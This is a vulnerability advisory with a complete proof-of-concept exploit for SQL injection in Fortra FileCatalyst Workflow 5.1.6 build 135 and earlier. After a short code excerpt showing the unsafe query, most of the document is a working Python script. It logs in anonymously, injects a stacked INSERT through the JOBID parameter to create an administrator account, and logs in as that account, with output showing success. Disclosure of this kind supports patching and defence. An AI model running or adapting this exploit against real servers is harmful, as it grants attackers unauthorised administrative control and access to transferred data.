A SQL injection vulnerability exists in Fortra FileCatalyst Workflow v5.1.6 build 135 and earlier.
A user-supplied jobID is used to form the WHERE clause in an SQL query:
// class unlimited.core.l.p
 public xc findJob(String jobID) {
   if (jobID == null)
     return null;
   if (jobID.equals(""))
     return null;
   b query = new b("*", xc.ps, xc.yr + "='" + jobID + "'");
   xc pjret = null;
   ResultSet rs = null;
   Connection conn = this.hb.getDatabaseSettings().we().b();
   try {
     rs = this.mb.b((e)query, conn);
[...]
// class unlimited.core.l.c.b.b.b constructor
 public b(String columns, String from, String where) {
   this(columns, from, where, -1);
 }
[...]
An anonymous remote attacker can perform SQLi via the JOBID parameter in various URL endpoints of the workflow web application.
Proof of Concept
import requests
import argparse
import re
import sys 
def anon_logon(s, host, port, ctxpath):
  try:
    r = s.get(f'{host}:{port}{ctxpath}')
        
    # Find session token
    pat = '\/workflow\/jsp\/logon.jsp;jsessionid=[A-Za-z0-9]+'
        
    if(re.search(pat, r.text) is None):
      print('[-] Failed get logon URL.')
      return False
        
    # Redirect to login page
    logon_url = re.findall(pat, r.text)[0]
    r = s.get(f'{host}:{port}{logon_url}')
        
    # Perform anonymous login
    pat = '\/workflow\/logonAnonymous.do\?FCWEB.FORM.TOKEN=[A-Za-z0-9]+'
    if(re.search(pat,r.text) is None):
      print('[-] Failed to get anonymous login URL. Check anonymous login is enabled.')
      return False
       
    anon_logon_url = re.findall(pat, r.text)[0]
    r = s.get(f'{host}:{port}{anon_logon_url}')
    if r.status_code != 200:
      print('[-] Anonymous login failed. Check anonymous login is enabled.')
      return False
    return True 
  except requests.exceptions.RequestException as e:
    print(f'[-] Exception occurred: \n {e}')
    return False
if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('-t','--target', help='target hostname or IP address (include http:// or https://)', required=True)
  parser.add_argument('-p','--port', type=int, default=80, help='target port (Default: %(default)s)')
  parser.add_argument('-c','--ctxpath', default='/workflow', help='Context path for the FileCatalyst Workflow webapp (Default: %(default)s)')
  args = parser.parse_args()
  host = args.target
  port = args.port
  ctxpath =  args.ctxpath
  
  s = requests.Session()
  print(f'[*] Logging in anonymously')
  if not anon_logon(s, host, port, ctxpath):
    sys.exit('[-] Failed to login anonymously.')
  print(f'[+] Anonymous login OK')
  # Add admin user 'opeartor' with password 'password123' 
  # Works for HSQLDB 
  url = f'{host}:{port}{ctxpath}/servlet/pdf_servlet'
  user = 'operator'
  password = 'password123'
  print(f'[*] Performing SQLi: add admin user, name: {user}, password: {password}') 
  sqli = f"1';INSERT INTO DOCTERA_USERS (USERNAME, PASSWORD, ENCPASSWORD, FIRSTNAME, LASTNAME, COMPANY, ADDRESS, ADDRESS2, CITY, STATE, ALTPHONE, ZIP, COUNTRY, PHONE, FAX, EMAIL, LASTLOGIN, CREATION, PREFERREDSERVER, CREDITCARDTYPE, CREDITCARDNUMBER, CREDITCARDEXPIRY, ACCOUNTSTATUS, USERTYPE, COMMENT, ADMIN, SUPERADMIN, ACCEPTEMAIL, ALLOWHOTFOLDER, PROTOCOL, BANDWIDTH, DIRECTORY, SLOWSTARTRATE, USESLOWSTART, SLOWSTARTAGGRESSIONRATE, BLOCKSIZE, UNITSIZE, NUMENCODERS, NUMFTPSTREAMS, ALLOWUSERBANDWIDTHTUNING, EXPIRYDATE, ALLOWTEMPACCOUNTCREATION, OWNERUSERNAME, USERLEVEL, UPLOADMETHOD, PW_CHANGEABLE, PW_CREATIONDATE, PW_DAYSBEFOREEXPIRE, PW_MUSTCHANGE, PW_USEDPASSWORDS, PW_NUMERRORS) VALUES('{user}', NULL, '482C811DA5D5B4BC6D497FFA98491E38', '{user}FirstName', '{user}LastName', '', '', '', '', '', '', '', '', '202-404-2400', '', '{user}@mydomain.local', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'DEFAULT', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'DEFAULT', 0, 1714014752270, -1, 0, NULL, 0);-- -"
  params = {"JOBID":f"{sqli}"}
  r = s.get(url, params=params)
    
  print(f'[*] Logging in as {user}')
  # Get logon token
  url = f'{host}:{port}{ctxpath}/jsp/logon.jsp'
  r = s.get(url)
  m = re.search('"FCWEB.FORM.TOKEN".*?value.*?"([a-zA-Z0-9]+?)"', r.text)
  if m is None:
    sys.exit(f'[-] Failed to get FCWEB.FORM.TOKEN') 
  fcweb_token = m.group(1)     
  # Logon 
  url = f'{host}:{port}{ctxpath}/logon.do'
  data = {'username': user, 'password': password,'FCWEB.FORM.TOKEN': fcweb_token, 'submit':'Login'} 
  r = s.post(url, data=data)
  if 'username/password are not correct' in r.text:
    sys.exit(f'[-] Failed to login as {user}') 
  else:
    print(f'[+] User {user} logged in')  
  
  '''
  # Access protected URL
  url = f'{host}:{port}{ctxpath}/jsp/about.jsp'
  r = s.get(url)
  print(r.status_code)
  print(r.text)
  '''
  
# python3 fcworkflow_sqli.py -t 'http(s)://<target-host>' -p 80
[*] Logging in anonymously
[+] Anonymous login OK
[*] Performing SQLi: add admin user, name: operator, password: password123
[*] Logging in as operator
[+] User operator logged in